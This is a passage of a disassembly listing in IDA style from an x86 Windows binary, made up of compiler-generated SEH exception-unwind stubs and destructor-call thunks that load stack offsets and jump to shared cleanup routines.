; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40E2E0	proc near		; DATA XREF: sub_40E2E0+2o
		mov	eax, offset dword_440670
		jmp	sub_437AB8
SEH_40E2E0	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A278:				; DATA XREF: ___:004406F4o
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40E860	proc near		; DATA XREF: sub_40E860+2o
		mov	eax, offset dword_4406C8
		jmp	sub_437AB8
SEH_40E860	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A2C8:				; DATA XREF: ___:0044074Co
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40ECF0	proc near		; DATA XREF: sub_40ECF0+2o
		mov	eax, offset dword_440720
		jmp	sub_437AB8
SEH_40ECF0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40EE30	proc near		; DATA XREF: sub_40EE30+2o
		mov	eax, offset dword_440760
		jmp	sub_437AB8
SEH_40EE30	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A318:				; DATA XREF: ___:004407BCo
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A348:				; DATA XREF: ___:0040F208o
		mov	eax, offset dword_440790
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43A378:				; DATA XREF: ___:0044081Co
		mov	ecx, [ebp-28h]
		add	ecx, 28h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 3Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 56h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 84h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 0B2h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 0E0h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 10Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 13Ch
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 16Ah
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 198h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 1C6h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 1F4h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 222h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 250h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 27Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 2ACh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 2DAh
		jmp	sub_401B68
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40F6C0	proc near		; DATA XREF: sub_40F6C0+2o
		mov	eax, offset dword_4407F0
		jmp	sub_437AB8
SEH_40F6C0	endp

; ---------------------------------------------------------------------------
		db 69h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-247Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A56B:				; DATA XREF: ___:0044097Co
		lea	ecx, [ebp-210Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-207Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A581:				; DATA XREF: ___:0044098Co
		lea	ecx, [ebp-237Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A58C:				; DATA XREF: ___:00440994o
		lea	ecx, [ebp-21CCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A597:				; DATA XREF: ___:0044099Co
		lea	ecx, [ebp-234Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A5A2:				; DATA XREF: ___:004409A4o
		lea	ecx, [ebp-2064h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A5AD:				; DATA XREF: ___:004409ACo
		lea	ecx, [ebp-231Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A5B8:				; DATA XREF: ___:004409B4o
		lea	ecx, [ebp-219Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-22ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A5D9:				; DATA XREF: ___:004409CCo
		lea	ecx, [ebp-22BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A5E4:				; DATA XREF: ___:004409D4o
		lea	ecx, [ebp-23DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A5EF:				; DATA XREF: ___:004409DCo
		lea	ecx, [ebp-216Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A5FA:				; DATA XREF: ___:004409E4o
		lea	ecx, [ebp-2424h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-23F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-228Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-23C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-225Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A669:				; DATA XREF: ___:00440A2Co
		lea	ecx, [ebp-213Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A674:				; DATA XREF: ___:00440A34o
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43A682:				; DATA XREF: ___:00440A3Co
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43A690:				; DATA XREF: ___:00440A44o
		lea	ecx, [ebp-21FCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-222Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A6B1:				; DATA XREF: ___:00440A5Co
		lea	ecx, [ebp-2394h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-23ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A6C7:				; DATA XREF: ___:00440A6Co
		lea	ecx, [ebp-2334h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2364h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A6DD:				; DATA XREF: ___:00440A7Co
		lea	ecx, [ebp-2304h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A6E8:				; DATA XREF: ___:00440A84o
		lea	ecx, [ebp-22D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A6F3:				; DATA XREF: ___:00440A8Co
		mov	ecx, [ebp-2480h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A6FE:				; DATA XREF: ___:00440A94o
		lea	ecx, [ebp-22A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A709:				; DATA XREF: ___:00440A9Co
		lea	ecx, [ebp-2244h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2274h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A71F:				; DATA XREF: ___:00440AB4o
		lea	ecx, [ebp-2214h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A72A:				; DATA XREF: ___:00440AC4o
		lea	ecx, [ebp-21E4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A735:				; DATA XREF: ___:00440ACCo
		lea	ecx, [ebp-2184h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-21B4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A74B:				; DATA XREF: ___:00440AE4o
		lea	ecx, [ebp-243Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-240Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A761:				; DATA XREF: ___:00440AFCo
		lea	ecx, [ebp-2124h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2154h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A777:				; DATA XREF: ___:00440B0Co
		lea	ecx, [ebp-20F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A782:				; DATA XREF: ___:00440B14o
		lea	ecx, [ebp-2094h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-2464h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A7A3:				; DATA XREF: sub_40FE30+8o
		mov	eax, offset dword_440950
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 93h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411760	proc near		; DATA XREF: sub_411760+8o
		mov	eax, offset dword_440B60
		jmp	sub_437AB8
SEH_411760	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A8B8:				; DATA XREF: ___:00440C0Co
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411C00	proc near		; DATA XREF: sub_411C00+8o
		mov	eax, offset dword_440BE0
		jmp	sub_437AB8
SEH_411C00	endp

; ---------------------------------------------------------------------------
		db 2Dh dup(0CCh)
; ---------------------------------------------------------------------------


loc_43A960:				; DATA XREF: ___:00440CACo
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-48h]
		and	eax, 1
		test	eax, eax
		jz	locret_43A97E
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_43A97E:				; CODE XREF: ___:0043A970j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4122D0	proc near		; DATA XREF: sub_4122D0+2o
		mov	eax, offset dword_440C80
		jmp	sub_437AB8
SEH_4122D0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A9A8:				; DATA XREF: ___:00440CE4o
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_412590	proc near		; DATA XREF: sub_412590+8o
		mov	eax, offset dword_440CB8
		jmp	sub_437AB8
SEH_412590	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43A9C8:				; DATA XREF: ___:00440D1Co
		mov	ecx, [ebp-10h]
		add	ecx, 28h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 56h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B2h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E0h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 13Ch
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Ah
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 198h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1C6h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1F4h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 222h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 250h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 27Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2ACh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_412860	proc near		; DATA XREF: sub_412860+2o
		mov	eax, offset dword_440CF0
		jmp	sub_437AB8
SEH_412860	endp

; ---------------------------------------------------------------------------
		db 47h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_40204F

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_412A20	proc near		; DATA XREF: sub_412A20+2o
		mov	eax, offset dword_440DA8
		jmp	sub_437AB8
SEH_412A20	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40204F

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_412AD0	proc near		; DATA XREF: sub_412AD0+2o
		mov	eax, offset dword_440DD8
		jmp	sub_437AB8
SEH_412AD0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AB38:				; DATA XREF: ___:00440E34o
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 54h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 69h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_412B50	proc near		; DATA XREF: sub_412B50+2o
		mov	eax, offset dword_440E08
		jmp	sub_437AB8
SEH_412B50	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AB98:				; DATA XREF: ___:00440E8Co
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 54h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 69h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_412C10	proc near		; DATA XREF: sub_412C10+2o
		mov	eax, offset dword_440E60
		jmp	sub_437AB8
SEH_412C10	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_412CD0	proc near		; DATA XREF: sub_412CD0+2o
		mov	eax, offset dword_440EB8
		jmp	sub_437AB8
SEH_412CD0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AC18:				; DATA XREF: ___:00440F14o
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-9Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AC4E:				; DATA XREF: ___:00412D78o
		mov	eax, offset dword_440EE8
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43AC7B:				; DATA XREF: ___:00440F74o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_4011B8
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Ch
		jmp	sub_4014BF

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4131E0	proc near		; DATA XREF: sub_4131E0+2o
		mov	eax, offset dword_440F48
		jmp	sub_437AB8
SEH_4131E0	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_4011B8
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Ch
		jmp	sub_4014BF

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4132E0	proc near		; DATA XREF: sub_4132E0+2o
		mov	eax, offset dword_440F90
		jmp	sub_437AB8
SEH_4132E0	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4133A0	proc near		; DATA XREF: sub_4133A0+2o
		mov	eax, offset dword_440FD8
		jmp	sub_437AB8
SEH_4133A0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413490	proc near		; DATA XREF: sub_413490+2o
		mov	eax, offset dword_441010
		jmp	sub_437AB8
SEH_413490	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4135D0	proc near		; DATA XREF: sub_4135D0+2o
		mov	eax, offset dword_441040
		jmp	sub_437AB8
SEH_4135D0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+1Ch]
		jmp	sub_401582
; ---------------------------------------------------------------------------


loc_43AD78:				; DATA XREF: ___:0044109Co
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413730	proc near		; DATA XREF: sub_413730+2o
		mov	eax, offset dword_441070
		jmp	sub_437AB8
SEH_413730	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AD98:				; DATA XREF: ___:004410D4o
		lea	ecx, [ebp-0A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-8Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4138A0	proc near		; DATA XREF: sub_4138A0+2o
		mov	eax, offset dword_4410A8
		jmp	sub_437AB8
SEH_4138A0	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43ADD8:				; DATA XREF: ___:00441114o
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_401582

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413A70	proc near		; DATA XREF: sub_413A70+2o
		mov	eax, offset dword_4410E8
		jmp	sub_437AB8
SEH_413A70	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AE08:				; DATA XREF: ___:00413BA2o
		mov	eax, offset dword_441128
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AE28:				; DATA XREF: ___:00441184o
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AE30:				; DATA XREF: ___:0044118Co
		mov	eax, [ebp-40h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43AE3B:				; DATA XREF: ___:00441194o
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413C30	proc near		; DATA XREF: sub_413C30+2o
		mov	eax, offset dword_441158
		jmp	sub_437AB8
SEH_413C30	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+64h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AE68:				; DATA XREF: ___:004411CCo
		lea	ecx, [ebp+4Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+34h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-10h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413E60	proc near		; DATA XREF: sub_413E60+2o
		mov	eax, offset dword_4411A0
		jmp	sub_437AB8
SEH_413E60	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AEBB:				; DATA XREF: ___:00441224o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414150	proc near		; DATA XREF: sub_414150+2o
